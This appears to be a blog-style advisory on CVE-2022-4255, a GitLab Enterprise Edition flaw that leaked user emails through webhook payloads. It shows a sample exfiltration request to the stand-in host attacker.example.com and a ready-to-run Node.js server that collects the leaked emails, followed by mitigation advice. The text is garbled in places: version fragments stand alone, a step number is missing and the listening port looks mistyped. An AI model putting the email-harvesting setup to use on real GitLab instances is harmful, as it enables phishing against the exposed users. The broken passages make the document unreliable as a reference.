CVE-2022-4255 - GitLab EE Information Leak – User Email Exposure via Webhook Payload

Summary:
A critical information leak vulnerability, CVE-2022-4255, was found in GitLab Enterprise Edition (EE) impacting all versions from 13.7 up to (but not including) 15.4.6, 15.5 up to 15.5.5, and 15.6 up to 15.6.1. This bug allowed unauthorized parties to collect the email addresses of users through webhook payloads — a threat to privacy and internal project secrecy.

If you use GitLab EE in your organization, understanding this exploit and patching your system is essential.

What Happened?

Webhooks are HTTP callbacks that POST data to external services when certain events (like pushes or merges) occur in a GitLab repository. Due to CVE-2022-4255, these payloads sometimes contained internal user email addresses, even if email visibility was supposed to be restricted.

Attackers could set up a webhook, trigger certain events, and harvest user email addresses from the received payloads — no privileged access required.

Public Disclosure: December 2022

Reference: GitLab Official Advisory

15.6.

*If you are running Community Edition (CE), you are not affected by this specific issue, as it relates to Enterprise features.*

Exploit Details: How Does It Work?

When a webhook is configured on a vulnerable GitLab EE instance, and an event occurs (like push/merge request), the payload sent to the webhook could look like this (redacted for clarity):

{
  "object_kind": "merge_request",
  "user": {
    "name": "Jane Doe",
    "username": "janedoe",
    "email": "janedoe@company.com" // <<< Leaked email!
  },
  "project": { /* ... */ },
  // More data...
}

The "email" field under "user" should have been hidden, especially if the user's email privacy setting was enabled. Due to this bug, it was unintentionally included in the webhook payload.

Any external party with access to the webhook endpoint — for example, a third-party CI/CD service or even an attacker controlling a webhook URL — would receive these email addresses when events were triggered.

Suppose someone adds a webhook to a project with a service under their control, like

https://attacker.example.com/webhook-endpoint

On any subsequent merge request event (created/updated/closed), GitLab EE sends a POST request like

POST /webhook-endpoint HTTP/1.1
Host: attacker.example.com
Content-Type: application/json
Content-Length: 1234

{
  "object_kind": "merge_request",
  "user": {
    "name": "Jane Doe",
    "username": "janedoe",
    "email": "janedoe@company.com"
  },
  // (rest of payload)
}

Over time, by collecting webhook payloads, the attacker can build a list of email addresses for project users.

Attack Scenario

1. Attacker gets access to add a webhook (by social engineering, inside the organization, or abusing open webhook policies).

Attacker waits for normal project activity: pushes, merges, comments.

3. Emails are exposed: each webhook payload leaks the acting user's email address, even if the email is supposed to be private.
4. Harvested data can be used for spear phishing, mapping organization structure, or further attacks.

Here's a simple Node.js script that acts as a webhook endpoint to collect leaked emails

// webhook-server.js
const express = require('express');
const bodyParser = require('body-parser');
const app = express();

app.use(bodyParser.json());

app.post('/webhook-endpoint', (req, res) => {
  // Extract user email if present
  const user = req.body.user;
  if (user && user.email) {
    console.log('Leaked user email:', user.email);
    // In real attack, store this somewhere
  }
  res.sendStatus(200);
});

app.listen(808, () => {
  console.log('Listening on port 808');
});

Run with

node webhook-server.js

Now, put this URL as the webhook in a vulnerable GitLab EE project. Trigger some merge requests — and watch the emails pour in.

Mitigation & Solution

Upgrade Immediately!

15.6.1

Get them here:
GitLab Security Releases

Remove all unnecessary or untrusted webhooks.

- Restrict who can add webhooks at group/project level.

Conclusion

CVE-2022-4255 stands as a reminder that even non-code, “workflow” features like webhooks can become vectors for sensitive data exposure. Organizations relying on GitLab EE must be careful about webhook management and keep up with security releases. If your versions are unpatched, upgrade immediately — your internal email addresses might already be exposed.

Timeline

Published on: 01/27/2023 22:15:00 UTC
Last modified on: 02/06/2023 15:01:00 UTC